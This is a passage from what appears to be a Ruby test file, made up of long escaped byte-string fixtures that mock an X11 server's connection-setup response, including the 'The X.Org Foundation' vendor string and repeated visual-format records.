"\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe1\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe2\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe3\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe4\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe5\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe6\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe7\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xea\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xeb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xec\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xed\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xee\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xef\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf0\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf1\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf2\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf3\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf4\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf5\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf6\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf7\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf8\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf9\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfa\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfb\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfc\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfd\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfe\x04\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x04\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x02\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x03\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x04\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x05\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x06\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x07\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x05\x00\x00\x05\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x09\x05\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00" \ + "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x20\x00\x1e\x00" \ + "\x00\x00\x00\x00\x5b\x00\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0a\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0b\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0c\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0d\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0e\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0f\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x10\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x11\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x12\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x13\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x14\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x15\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x16\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x17\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x18\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x19\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1a\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1b\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1c\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1d\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x1e\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x1f\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x20\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x21\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x22\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x23\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x24\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x25\x05\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x26\x05\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00" + end + + let(:conn_resp2) do + "\x01\x00\x0b\x00\x00\x00\x57\x09\x8c\xa5\xb8\x00\x00\x00\x20\x03" \ + "\xff\xff\x1f\x00\x00\x01\x00\x00\x14\x00\xff\xff\x01\x07\x00\x00" \ + "\x20\x20\x08\xff\x00\x00\x00\x00\x54\x68\x65\x20\x58\x2e\x4f\x72" \ + "\x67\x20\x46\x6f\x75\x6e\x64\x61\x74\x69\x6f\x6e\x01\x01\x20\x00" \ + "\x00\x00\x00\x00\x04\x08\x20\x00\x00\x00\x00\x00\x08\x08\x20\x00" \ + "\x00\x00\x00\x00\x0f\x10\x20\x00\x00\x00\x00\x00\x10\x10\x20\x00" \ + "\x00\x00\x00\x00\x18\x20\x20\x00\x00\x00\x00\x00\x20\x20\x20\x00" \ + "\x00\x00\x00\x00\x28\x05\x00\x00\x20\x00\x00\x00\xff\xff\xff\x00" \ + "\x00\x00\x00\x00\x33\x00\xda\x00\xbe\x03\x40\x03\xfd\x00\xdc\x00" \ + "\x01\x00\x01\x00\x21\x00\x00\x00\x01\x00\x18\x07\x18\x00\x68\x01" \ + "\x00\x00\x00\x00\x21\x00\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x22\x00\x00\x00" \ + "\x05\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xa8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xa9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xaa\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xab\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xac\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xad\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xae\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xaf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xb8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xb9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xba\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xbc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xbe\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xbf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xc8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xc9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xca\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xcc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xce\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xcf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xd8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xd9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xda\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xdc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xde\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdf\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xe8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xe9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xea\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xeb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xec\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xed\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xee\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xef\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf0\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf1\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf2\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf3\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf4\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf5\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf6\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf7\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xf8\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xf9\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfa\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfb\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfc\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xfd\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x03\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x02\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x04\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x05\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x06\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x07\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x08\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + "\x00\x00\x00\x00\x0a\x04\x00\x00\x04\x08\x00\x01\x00\x00\xff\x00" \ + "\x00\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x0b\x04\x00\x00" \ + "\x04\x08\x00\x01\x00\x00\xff\x00\x00\xff\x00\x00\xff\x00\x00\x00" \ + 